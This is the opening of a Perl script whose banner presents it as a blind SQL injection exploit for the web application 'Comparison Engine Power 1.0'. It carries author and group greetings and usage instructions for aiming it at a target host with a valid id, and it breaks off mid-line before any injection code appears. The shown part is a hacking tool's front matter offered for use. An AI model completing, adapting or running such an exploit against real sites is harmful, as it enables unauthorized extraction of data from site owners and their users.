1 #!/usr/bin/perl
2 use LWP::UserAgent;
3 use Getopt::Long;
4 if(!$ARGV[1])
5 {
6 print " \n";
7 print " ################## VIVA ISLAME VIVA ISLAME ####################\n";
8 print " ################## VIVA ISLAME VIVA ISLAME ####################\n";
9 print " ## ##\n";
10 print " ## Comparison Engine Power 1.0 Blind SQL Injection Exploit ##\n";
11 print " ## ##\n";
12 print " ## Author: Mr.SQL ##\n";
13 print " ## EMAIL : SQL(at)HOTMAIL.IT ##\n";
14 print " ## HOME : WwW.PaL−HaCkEr.CoM ##\n";
15 print " ## ##\n";
16 print " ## −((:: GrE3E3E3E3E3ETZz ::))− ##\n";
17 print " ## ##\n";
18 print " ## − HaCkEr_EGy − His0k4 − Dark MaSTer − MoHaMaD AL 3rab − ##\n";
19 print " ## − ALwHeD − HeBarIeH − ##\n";
20 print " ## ##\n";
21 print " ## <<>> MuSliMs HaCkErS <<>> ##\n";
22 print " ## ##\n";
23 print " ## Usage : perl exploit.pl host ##\n";
24 print " ## Example: perl exploit.pl www.host.com / −d 10 ##\n";
25 print " ## ##\n";
26 print " ## Options: ##\n";
27 print " ## −d valid id value ##\n";
28 print " ## Note: ##\n";
29 print " ## Don’t forget to change the match if you hav